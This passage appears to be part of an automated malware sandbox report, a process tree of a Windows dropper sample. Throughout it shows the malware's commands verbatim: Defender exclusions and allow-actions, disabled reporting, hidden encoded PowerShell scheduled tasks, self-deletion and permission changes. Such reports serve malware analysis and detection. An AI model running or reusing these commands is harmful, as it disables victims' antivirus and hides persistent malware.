        "C:\Windows\System32\cmd.exe" /c taskkill /im RZmPDLVfEjZP1OjfiYsYFYHm.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Pictures\Adobe Films\RZmPDLVfEjZP1OjfiYsYFYHm.exe" & del C:\ProgramData\*.dll & exit
        PID:5096
        • C:\Windows\SysWOW64\taskkill.exe
          taskkill /im RZmPDLVfEjZP1OjfiYsYFYHm.exe /f
          Kills process with taskkill
          Suspicious use of AdjustPrivilegeToken
          PID:4084
        • C:\Windows\SysWOW64\timeout.exe
          timeout /t 6
          Delays execution with timeout.exe
          PID:4336
    • C:\Users\Admin\Pictures\Adobe Films\35Uz7OpyCvx7_SyabIcMcgYQ.exe
      "C:\Users\Admin\Pictures\Adobe Films\35Uz7OpyCvx7_SyabIcMcgYQ.exe"
      Executes dropped EXE
      PID:1604
  • C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c cmd < Affaticato.gif
    PID:4052
    • C:\Windows\SysWOW64\cmd.exe
      cmd
      PID:4648
      • C:\Windows\SysWOW64\find.exe
        find /I /N "bullguardcore.exe"
        PID:3516
      • C:\Windows\SysWOW64\tasklist.exe
        tasklist /FI "imagename eq BullGuardCore.exe"
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        PID:1552
      • C:\Windows\SysWOW64\tasklist.exe
        tasklist /FI "imagename eq PSUAService.exe"
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        PID:4620
      • C:\Windows\SysWOW64\find.exe
        find /I /N "psuaservice.exe"
        PID:3732
      • C:\Windows\SysWOW64\findstr.exe
        findstr /V /R "^uEDzPzHFCdzewXWMRhXuwzGNjMXXrsYuMnTuDfFnaaWMxrxJAnNdPOrNYPircJBlshdCrQoBHnNIvTzoshbFDH$" Koubbeh.gif
        PID:1404
      • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Accostarmi.exe.pif
        Accostarmi.exe.pif N
        Executes dropped EXE
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        PID:4800
  • C:\Users\Admin\AppData\Local\Temp\7zS4147.tmp\Install.exe
    .\Install.exe /S /site_id "525403"
    Executes dropped EXE
    Checks BIOS information in registry
    Drops file in System32 directory
    Enumerates system info in registry
    PID:4428
    • C:\Windows\SysWOW64\forfiles.exe
      "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
      PID:5092
      • C:\Windows\SysWOW64\cmd.exe
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
        PID:4240
        • \??\c:\windows\SysWOW64\reg.exe
          REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
          PID:1296
        • \??\c:\windows\SysWOW64\reg.exe
          REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
          PID:4268
    • C:\Windows\SysWOW64\forfiles.exe
      "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
      PID:5116
      • C:\Windows\SysWOW64\cmd.exe
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
        PID:4360
        • \??\c:\windows\SysWOW64\reg.exe
          REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
          PID:4376
        • \??\c:\windows\SysWOW64\reg.exe
          REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
          PID:2936
          • C:\Users\Admin\AppData\Local\Temp\is-DBTFI.tmp\MDKkHsk8svcHvRGWpdm1TPsj.tmp
            "C:\Users\Admin\AppData\Local\Temp\is-DBTFI.tmp\MDKkHsk8svcHvRGWpdm1TPsj.tmp" /SL5="$901D0,140518,56832,C:\Users\Admin\Pictures\Adobe Films\MDKkHsk8svcHvRGWpdm1TPsj.exe"
            Executes dropped EXE
            Loads dropped DLL
            PID:3440
    • C:\Windows\SysWOW64\schtasks.exe
      schtasks /CREATE /TN "gokMecvzJ" /SC once /ST 02:15:35 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
      Creates scheduled task(s)
      PID:4164
    • C:\Windows\SysWOW64\schtasks.exe
      schtasks /run /I /tn "gokMecvzJ"
      PID:2684
    • C:\Windows\SysWOW64\schtasks.exe
      schtasks /DELETE /F /TN "gokMecvzJ"
      PID:3404
    • C:\Windows\SysWOW64\schtasks.exe
      schtasks /CREATE /TN "booXbIzkEgfNdKvxAC" /SC once /ST 11:06:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\uOvKJyFirsYYYLVYA\GHoNhggtAPCruoj\lKbipIJ.exe\" j6 /site_id 525403 /S" /V1 /F
      Drops file in Windows directory
      Creates scheduled task(s)
      PID:3136
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4024 -s 616
    Program crash
    Suspicious use of AdjustPrivilegeToken
    PID:4580
  • C:\Windows\syswow64\rundll32.exe
    "C:\Windows\syswow64\rundll32.exe" "C:\Windows\syswow64\shell32.dll",#61
    PID:4496
  • C:\Windows\SysWOW64\icacls.exe
    icacls "C:\Users\Admin\AppData\Local\fbc11548-8e0d-4bec-bde9-6e143f02f772" /deny *S-1-1-0:(OI)(CI)(DE,DC)
    Modifies file permissions
    PID:4664
  • C:\Windows\system32\fondue.exe
    "C:\Windows\system32\fondue.exe" /enable-feature:NetFx3 /caller-name:mscoreei.dll
    PID:4400
  • C:\Users\Admin\AppData\Local\Temp\is-Q8H3E.tmp\RYUT55.exe
    "C:\Users\Admin\AppData\Local\Temp\is-Q8H3E.tmp\RYUT55.exe" /S /UID=2709
    PID:4360
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1604 -s 664
    Program crash
    Suspicious use of AdjustPrivilegeToken
    PID:4224
  • C:\Users\Admin\AppData\Local\Temp\9c947346-095b-4bdc-8489-ffeb922a4b96.exe
    "C:\Users\Admin\AppData\Local\Temp\9c947346-095b-4bdc-8489-ffeb922a4b96.exe"
    Executes dropped EXE
    Checks processor information in registry
    Suspicious use of AdjustPrivilegeToken
    PID:4888
  • C:\Users\Admin\AppData\Local\Temp\7zS234F.tmp\Install.exe
    .\Install.exe
    Executes dropped EXE
    PID:2120
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 416 -s 420
    Program crash
    Suspicious use of AdjustPrivilegeToken
    PID:3084
  • C:\Users\Admin\Pictures\Adobe Films\TXvXK2KrFkrHKQpdeiNq6EmK.exe
    "C:\Users\Admin\Pictures\Adobe Films\TXvXK2KrFkrHKQpdeiNq6EmK.exe"
    Executes dropped EXE
    PID:4976
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3456 -s 420
    Program crash
    Suspicious use of AdjustPrivilegeToken
    PID:1124
  • C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1604 -s 1076
    Suspicious use of NtCreateProcessExOtherParentProcess
    Program crash
    Suspicious use of AdjustPrivilegeToken
    PID:3644
  • C:\Users\Admin\Pictures\Adobe Films\f9jdatpf0oX8WPl0H5XRmvIg.exe
    "C:\Users\Admin\Pictures\Adobe Films\f9jdatpf0oX8WPl0H5XRmvIg.exe"
    Executes dropped EXE
    Adds Run key to start application
    PID:3944
    • C:\Users\Admin\Pictures\Adobe Films\f9jdatpf0oX8WPl0H5XRmvIg.exe
      "C:\Users\Admin\Pictures\Adobe Films\f9jdatpf0oX8WPl0H5XRmvIg.exe" --Admin IsNotAutoStart IsNotTask
      Executes dropped EXE
      Suspicious use of SetThreadContext
      PID:4676
      • C:\Users\Admin\Pictures\Adobe Films\f9jdatpf0oX8WPl0H5XRmvIg.exe
        "C:\Users\Admin\Pictures\Adobe Films\f9jdatpf0oX8WPl0H5XRmvIg.exe" --Admin IsNotAutoStart IsNotTask
        Executes dropped EXE
        PID:4608
        • C:\Users\Admin\AppData\Local\614f829d-f75f-47bc-9d77-25d9ead259c3\build2.exe
          "C:\Users\Admin\AppData\Local\614f829d-f75f-47bc-9d77-25d9ead259c3\build2.exe"
          Executes dropped EXE
          Suspicious use of SetThreadContext
          PID:4624
          • C:\Users\Admin\AppData\Local\614f829d-f75f-47bc-9d77-25d9ead259c3\build2.exe
            "C:\Users\Admin\AppData\Local\614f829d-f75f-47bc-9d77-25d9ead259c3\build2.exe"
            Executes dropped EXE
            Loads dropped DLL
            Checks processor information in registry
            PID:644
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\System32\cmd.exe" /c taskkill /im build2.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\614f829d-f75f-47bc-9d77-25d9ead259c3\build2.exe" & del C:\ProgramData\*.dll & exit
              PID:2176
              • C:\Windows\SysWOW64\taskkill.exe
                taskkill /im build2.exe /f
                Kills process with taskkill
                PID:1800
              • C:\Windows\SysWOW64\timeout.exe
                timeout /t 6
                Delays execution with timeout.exe
                PID:4516
  • C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c taskkill /f /im chrome.exe
    PID:4608
    • C:\Windows\SysWOW64\taskkill.exe
      taskkill /f /im chrome.exe
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:4604
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
    C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
    PID:764
    • C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      Executes dropped EXE
      PID:4360
    • C:\Windows\system32\gpupdate.exe
      "C:\Windows\system32\gpupdate.exe" /force
      PID:4700
  • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
    "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
    Drops file in Windows directory
    Modifies Internet Explorer settings
    Modifies registry class
    Suspicious use of AdjustPrivilegeToken
    Suspicious use of SetWindowsHookEx
    PID:3516
  • C:\Windows\system32\browser_broker.exe
    C:\Windows\system32\browser_broker.exe -Embedding
    Modifies Internet Explorer settings
    PID:4728
  • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
    "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
    Modifies registry class
    Suspicious behavior: MapViewOfSection
    Suspicious use of SetWindowsHookEx
    PID:4532
  • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
    "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
    Drops file in Windows directory
    Modifies Internet Explorer settings
    Modifies registry class
    Suspicious use of AdjustPrivilegeToken
    PID:3960
  • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
    "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
    Modifies registry class
    Suspicious use of AdjustPrivilegeToken
    PID:4336
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k wsappx
    Modifies registry class
    PID:4448
  • C:\Windows\system32\gpscript.exe
    gpscript.exe /RefreshSystemParam
    PID:3828
  • C:\Users\Admin\AppData\Local\Temp\uOvKJyFirsYYYLVYA\GHoNhggtAPCruoj\lKbipIJ.exe
    C:\Users\Admin\AppData\Local\Temp\uOvKJyFirsYYYLVYA\GHoNhggtAPCruoj\lKbipIJ.exe j6 /site_id 525403 /S
    Executes dropped EXE
    Drops file in System32 directory
    PID:4236
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;"
      Drops file in System32 directory
      Modifies data under HKEY_USERS
      PID:4992
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
        PID:2872
        • C:\Windows\SysWOW64\reg.exe
          REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
          PID:736
      • C:\Windows\SysWOW64\reg.exe
        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
        PID:572
      • C:\Windows\SysWOW64\reg.exe
        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
        PID:4192
      • C:\Windows\SysWOW64\reg.exe
        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
        PID:4548
      • C:\Windows\SysWOW64\reg.exe
        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
        PID:3856
      • C:\Windows\SysWOW64\reg.exe
        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
        PID:4920
      • C:\Windows\SysWOW64\reg.exe
        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
        PID:4468
      • C:\Windows\SysWOW64\reg.exe
        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
        PID:1476
      • C:\Windows\SysWOW64\reg.exe
        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
        PID:5044
      • C:\Windows\SysWOW64\reg.exe
        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
        PID:4796
      • C:\Windows\SysWOW64\reg.exe
        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
        PID:5116
      • C:\Windows\SysWOW64\reg.exe
        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
        PID:4084
      • C:\Windows\SysWOW64\reg.exe
        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
        PID:3676
      • C:\Windows\SysWOW64\reg.exe
        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
        PID:3672
      • C:\Windows\SysWOW64\reg.exe
        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
        PID:4924
      • C:\Windows\SysWOW64\reg.exe
        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
        PID:3788
      • C:\Windows\SysWOW64\reg.exe
        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
        PID:4224
      • C:\Windows\SysWOW64\reg.exe
        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
        PID:1392
      • C:\Windows\SysWOW64\reg.exe
        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
        PID:3364
      • C:\Windows\SysWOW64\reg.exe
        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
        PID:4152
      • C:\Windows\SysWOW64\reg.exe
        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
        PID:3620
      • C:\Windows\SysWOW64\reg.exe
        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
        PID:4812
      • C:\Windows\SysWOW64\reg.exe
        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
        PID:2140
      • C:\Windows\SysWOW64\reg.exe
        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
        PID:4216
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\QMuGxDzxU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\QMuGxDzxU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\YhmfbgEUeceU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\YhmfbgEUeceU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\cKaYGDvIdbsNnMDfsrR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\cKaYGDvIdbsNnMDfsrR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\iTBLcazoBHNRC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\iTBLcazoBHNRC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\rYNYBiCjmUUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\rYNYBiCjmUUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\hnkumIqTRwUxQLVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\hnkumIqTRwUxQLVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\uOvKJyFirsYYYLVYA\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\uOvKJyFirsYYYLVYA\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\RHdUtmclRPrQNqWD\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\RHdUtmclRPrQNqWD\" /t REG_DWORD /d 0 /reg:64;"
      Drops file in System32 directory
      Modifies data under HKEY_USERS
      PID:160
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\QMuGxDzxU" /t REG_DWORD /d 0 /reg:32
        PID:3448
        • C:\Windows\SysWOW64\reg.exe
          REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\QMuGxDzxU" /t REG_DWORD /d 0 /reg:32
          PID:4548
      • C:\Windows\SysWOW64\reg.exe
        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\QMuGxDzxU" /t REG_DWORD /d 0 /reg:64
        PID:3856
      • C:\Windows\SysWOW64\reg.exe
        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\YhmfbgEUeceU2" /t REG_DWORD /d 0 /reg:32
        PID:4920
      • C:\Windows\SysWOW64\reg.exe
        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\YhmfbgEUeceU2" /t REG_DWORD /d 0 /reg:64
        PID:4468
      • C:\Windows\SysWOW64\reg.exe
        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\cKaYGDvIdbsNnMDfsrR" /t REG_DWORD /d 0 /reg:32
        PID:4668
      • C:\Windows\SysWOW64\reg.exe
